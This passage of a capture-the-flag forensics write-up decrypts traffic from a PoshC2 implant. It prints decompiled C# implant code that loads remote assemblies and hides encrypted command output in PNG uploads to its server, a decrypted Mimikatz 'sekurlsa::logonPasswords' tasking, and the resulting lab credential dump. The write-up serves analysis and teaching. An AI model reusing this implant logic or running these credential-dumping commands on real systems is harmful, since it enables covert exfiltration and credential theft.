Exec(stringBuilder.ToString(), taskId, Key);
}
else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
{
Thread thread = new Thread((ThreadStart)delegate
{
rAsm(cmd);
});
Exec("[+] Running background task", taskId, Key);
thread.Start();
}
else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
{
stringBuilder.AppendLine(rAsm(cmd));
}
else if (cmd.ToLower().StartsWith("beacon"))
{
Regex regex2 = new Regex("(?<=(beacon)\\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
Match match2 = regex2.Match(text3);
if (match2.Success)
{
num = Parse_Beacon_Time(match2.Groups["t"].Value, match2.Groups["u"].Value);
}
else
{
stringBuilder.AppendLine($"[X] Invalid time \"{text3}\"");
}
Exec("Beacon set", taskId, Key);
}
else
{
string text4 = rAsm($"run-exe Core.Program Core {cmd}");
}
stringBuilder.AppendLine(stringWriter.ToString());
StringBuilder stringBuilder2 = stringWriter.GetStringBuilder();
stringBuilder2.Remove(0, stringBuilder2.Length);
if (stringBuilder.Length > 2)
{
Exec(stringBuilder.ToString(), taskId, Key);
}
stringBuilder.Length = 0;
}
end_IL_00f1:;
}
catch (NullReferenceException)
{
}
catch (WebException)
{
}
catch (Exception arg)
{
Exec($"Error: {stringBuilder.ToString()} {arg}", "Error", Key);
}
finally
{
stringBuilder.AppendLine(stringWriter.ToString());
StringBuilder stringBuilder3 = stringWriter.GetStringBuilder();
stringBuilder3.Remove(0, stringBuilder3.Length);
if (stringBuilder.Length > 2)
{
Exec(stringBuilder.ToString(), "99999", Key);
}
stringBuilder.Length = 0;
}
}
}
This function looks overwhelming, but there are a lot of irrelevant lines. In fact, at the beginning there are a lot of configurations, but next, it calls GetWebRequest(null)
and stores the output in cmd
and decrypts it with Decryption
. This is the next request in Wireshark:
We can decrypt the payload as before (with the new AES key):
>>> key = b64d('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
>>>
>>> with open('kikelia.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> data = b64d(cipher.decrypt(ct))
>>> data[:20]
b'multicmd00031loadmod'
>>> data[:100]
b'multicmd00031loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>> data[-100:]
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=!d-3dion@LD!-d00033loadpowerstatus'
The above payload will be processed by the next part of ImplantCore
. The above payload contains loadmodule
, so this part will be executed:
// ...
if (cmd.ToLower().StartsWith("loadmodule"))
{
string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
Exec(stringBuilder.ToString(), taskId, Key);
}
// ...
The program cleans up the payload to take only the Base64-encoded data. We could do the same operations, but the result will be the same, so we will take the Base64-encoded data and decode it to a file because it is again another Windows PE:
>>> b64_data = data[23:-34]
>>> b64_data[:5]
b'TVqQA'
>>> b64_data[-5:]
b'AAAA='
>>> data = b64d(b64_data)
>>> data[:20]
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00'
>>> with open('asm.exe', 'wb') as f:
... f.write(data)
...
201746
>>> exit()
$ file asm.exe
asm.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
As before, this is compiled from C# .NET, so let’s decompile it:
// Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
// for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.
// Core.Program
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using Core;
using Core.Common;
public static class Program
{
public static readonly Dictionary<string, string> ARGUMENTS = new Dictionary<string, string>();
public static void PrintHelp()
{
Console.WriteLine("");
Console.WriteLine("PoshC2 - Core Module");
Console.WriteLine("===========================================");
MethodInfo[] methods = typeof(global::Core.Core).GetMethods();
try
{
MethodInfo[] array = methods;
foreach (MethodInfo methodInfo in array)
{
object[] array2 = typeof(global::Core.Core).GetMethod(methodInfo.Name)?.GetCustomAttributes(inherit: true);
if (array2 != null && array2.Length > 0)
{
Console.WriteLine((array2[0] as CoreDispatch)?.Usage);
Console.WriteLine("\t" + (array2[0] as CoreDispatch)?.Description);
}
}
}
catch (Exception arg)
{
Console.WriteLine($"Error in help: {arg}");
}
}
public static void Main(string[] args)
{
if (args.Length == 0 || (args.Length > 1 && (args[1].ToLower() == "-help" || args[1].ToLower() == "help" || args[1].ToLower() == "?" || args[1].ToLower() == "-h")))
{
PrintHelp();
Console.WriteLine("FileVersion: " + FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).FileVersion);
Console.WriteLine("ProductVersion: " + FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).ProductVersion);
return;
}
try
{
Run(args.ToList());
}
catch (Exception arg)
{
Console.WriteLine("Core generated an error: '{0}'", arg);
}
}
private static void Run(List<string> args)
{
if (args.Count < 1)
{
Console.WriteLine("Error: No args passed to run");
return;
}
string methodName = args[0].ToLower().Replace("-", "");
foreach (string arg in args)
{
int num = arg.IndexOf('=');
if (num > 0)
{
ARGUMENTS[arg.Substring(0, num)] = arg.Substring(num + 1);
}
}
MethodInfo methodInfo = typeof(global::Core.Core).GetMethods().FirstOrDefault((MethodInfo i) => methodName == i.Name.ToLower());
if (methodInfo != null)
{
MethodInfo method = typeof(global::Core.Core).GetMethod(methodInfo.Name);
if (method == null)
{
Console.WriteLine("[-] Unable to get method - GetMethod returned null");
return;
}
if (method.GetParameters().Length == 0)
{
method.Invoke(null, null);
return;
}
method.Invoke(null, new object[1] { args.ToArray() });
}
else
{
Console.WriteLine("[!] No command found in core");
}
}
}
The above program is simply used to execute commands on the machine. The actual function that handles it is Exec
(from malware.exe
, not asm.exe
):
public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
if (string.IsNullOrEmpty(key))
{
key = pKey;
}
string cookie = Encryption(key, taskId);
string text = "";
text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
byte[] cmdoutput = Convert.FromBase64String(text);
byte[] imgData = ImgGen.GetImgData(cmdoutput);
int num = 0;
while (num < 5)
{
num++;
try
{
GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData);
num = 5;
}
catch
{
}
}
}
This time we will see an encrypted cookie with the task ID and the command output compressed and encrypted. Furthermore, the payload is inserted inside an image and uploaded using a POST request:
Data exfiltration via PNG images
The program uses steganography techniques to append data at the end of a the bytes section of a PNG image (since these files are delimited by ISTART
and IEND
, any image processor won’t consider the additional data, so it stays unnoticeable). For more information, we can see ImgGen
class (specifically, method GetImgData
):
internal static class ImgGen
{
private static Random _rnd = new Random();
private static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
private static List<string> _newImgs = new List<string>();
internal static void Init(string stringIMGS)
{
IEnumerable<string> source = from Match m in _re.Matches(stringIMGS.Replace(",", ""))
select m.Value;
source = source.Where((string m) => !string.IsNullOrEmpty(m));
_newImgs = source.ToList();
}
private static string RandomString(int length)
{
return new string((from s in Enumerable.Repeat("...................@..........................Tyscf", length)
select s[_rnd.Next(s.Length)]).ToArray());
}
internal static byte[] GetImgData(byte[] cmdoutput)
{
int num = 1500;
int num2 = cmdoutput.Length + num;
string s = _newImgs[new Random().Next(0, _newImgs.Count)];
byte[] array = Convert.FromBase64String(s);
byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length));
byte[] array2 = new byte[num2];
Array.Copy(array, 0, array2, 0, array.Length);
Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
return array2;
}
}
Although it might look weird, it just appends data to the image file. What is more important is to analyze the data that is appended:
There are a lot of .
characters. The actual information sent is at the very end, just 16 bytes. Indeed, the above glibberish is just random choices from this string (until having 1500 bytes, see the code above):
...................@..........................Tyscf
So, let’s take the actual payload:
$ python3 -q
>>> with open('image1.png', 'rb') as f:
... img_data = f.read()
...
>>> img_data[1500:]
b'@\x9f\x00\xee\xd5s\x93\xc87\xab\xa4\x1a\x12\x88\x8c\xe5'
>>> len(img_data[1500:])
16
Now, let’s decrypt it:
>>> from Crypto.Cipher import AES
>>> from base64 import b64decode as b64d
>>> from gzip import decompress
>>>
>>> key = b64d('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> data = cipher.decrypt(ct)
>>> data
b''
Well… this was just a warm-up. Remember that we also had a cookie:
>>> enc = b64d('WMq9+CsIFw+w2tAyYAOoICKFmVNPqoz+QDjIXSRB4kY=')
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> cipher.decrypt(ct)
b'00031\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Alright, this is just the task ID.
The second POST request contains just 16 bytes again, so it is not interesting. The third POST request has more information:
We can save the uploaded image as image3.png
. Now we must decrypt it and decompress it:
>>> with open('image3.png', 'rb') as f:
... img_data = f.read()
...
>>> img_data[1500:]
b'7P?\x1b\x14_o\x05\x0f\xd9O\xb3\xac~\xb7w\x17\x10\xac\xfe\xa0B\xb1\x95j4,\x08\xe6W#\x1d\xcb\x1f\xcf\xb1\xe00\x17\xd0\xe8D\x91\xc0\xe0\xc8\xbd\n\xd5c\rZ(^N2\xdf\xe47H\xe7"RU\x9d\x82c\xcf\xc2X\xbd\xb51\xdb\xc3=\x8e\\\xbdM'
>>> len(img_data[1500:])
80
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> data = cipher.decrypt(ct)
>>> data
b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00\x0b\xf7\x8d\x0f\xf0\x0fw\rr\n\xf2wtqv\x0c\x0e\xb1r\x0f\xf5t\x89\xf7\xf5\xf7\xf3\x0c\xf1\x0f\x82\xc8\xc5\xfb\xfbY\xf9\xe7\x01\x00\xa1\x98-%*\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decompress(data)
b'WM_POWERBROADCAST:GUID_MONITOR_POWER_ON:On'
Right, it looks like the output of something…
Loading Mimikatz
After this, there are some GET requests that I don’t fully understand. However, after some packets, we see another GET request as the previous ones, with Base64-encoded data in the response, right before a POST request:
This means that the encrypted payload must be a command to execute on the victim machine, let’s discover it:
>>> with open('franchette.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = b64d(cipher.decrypt(ct))
>>> data[:20]
b'multicmd00034loadmod'
>>> data[:100]
b'multicmd00034loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>> data[-100:]
b'dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"'
>>> data[-120:]
b'3dion@LD!-d00035run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"'
Hey, it is trying to run Mimikatz! Let’s analyze the fifth POST request (image5.png
):
>>> with open('image5.png', 'rb') as f:
... img_data = f.read()
...
>>> len(img_data[1500:])
1008
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = decompress(cipher.decrypt(ct))
>>> print(data.decode())
.#####. mimikatz 2.2.0 (x64) #19041 Aug 8 2021 10:31:14
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # privilege::debug
Privilege '20' OK
mimikatz(powershell) # sekurlsa::logonPasswords
Authentication Id : 0 ; 1044643 (00000000:000ff0a3)
Session : Interactive from 1
User Name : IEUser
Domain : DESKTOP
Logon Server : DESKTOP
Logon Time : 3/7/2023 11:30:59 AM
SID : S-1-5-21-1281496067-1440983016-2272511217-1000
msv :
[00000003] Primary
* Username : IEUser
* Domain : DESKTOP
* NTLM : 69943c5e63b4d2c104dbbcc15138b72b
* SHA1 : e91fe173f59b063d620a934ce1a010f2b114c1f3
tspkg :
wdigest :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
kerberos :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 1044605 (00000000:000ff07d)
Session : Interactive from 1
User Name : IEUser
Domain : DESKTOP
Logon Server : DESKTOP
Logon Time : 3/7/2023 11:30:59 AM
SID : S-1-5-21-1281496067-1440983016-2272511217-1000
msv :
[00000003] Primary
* Username : IEUser
* Domain : DESKTOP
* NTLM : 69943c5e63b4d2c104dbbcc15138b72b
* SHA1 : e91fe173f59b063d620a934ce1a010f2b114c1f3
tspkg :
wdigest :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
kerberos :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 72709 (00000000:00011c05)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 72631 (00000000:00011bb7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : desktop$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 50926 (00000000:0000c6ee)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID : S-1-5-96-0-0
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 50925 (00000000:0000c6ed)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID : S-1-5-96-0-1
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 49932 (00000000:0000c30c)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DESKTOP$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : desktop$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
cloudap : KO
This is just beautiful, isn’t it? The above Mimikatz output was hidden in this picture!
Taking screenshots
We are close to the end:
Let’s decrypt again:
>>> with open('ciel.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = b64d(cipher.decrypt(ct))
>>> data
b'multicmd00036get-screenshot'
Alright, so it is trying to execute get-screenshot
, and the output must come in the last POST request:
Let’s decrypt one more time:
>>> with open('image6.png', 'rb') as f:
... img_data = f.read()
...
>>> len(img_data[1500:])
845088
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = decompress(cipher.decrypt(ct))
>>> data[:20]
b'iVBORw0KGgoAAAANSUhE'
>>> data[-20:]
b'euHkAAAAAElFTkSuQmCC'
This time it looks like Base64-encoded data. Let’s try decoding it:
>>> data = b64d(data)
>>> data[:20]
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x07z'
>>>
>>> with open('screenshot.png', 'wb') as f:
... f.write(data)
...
847050
Flag
Alright, we have this screenshot:
And the flag appears at the top right corner:
HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}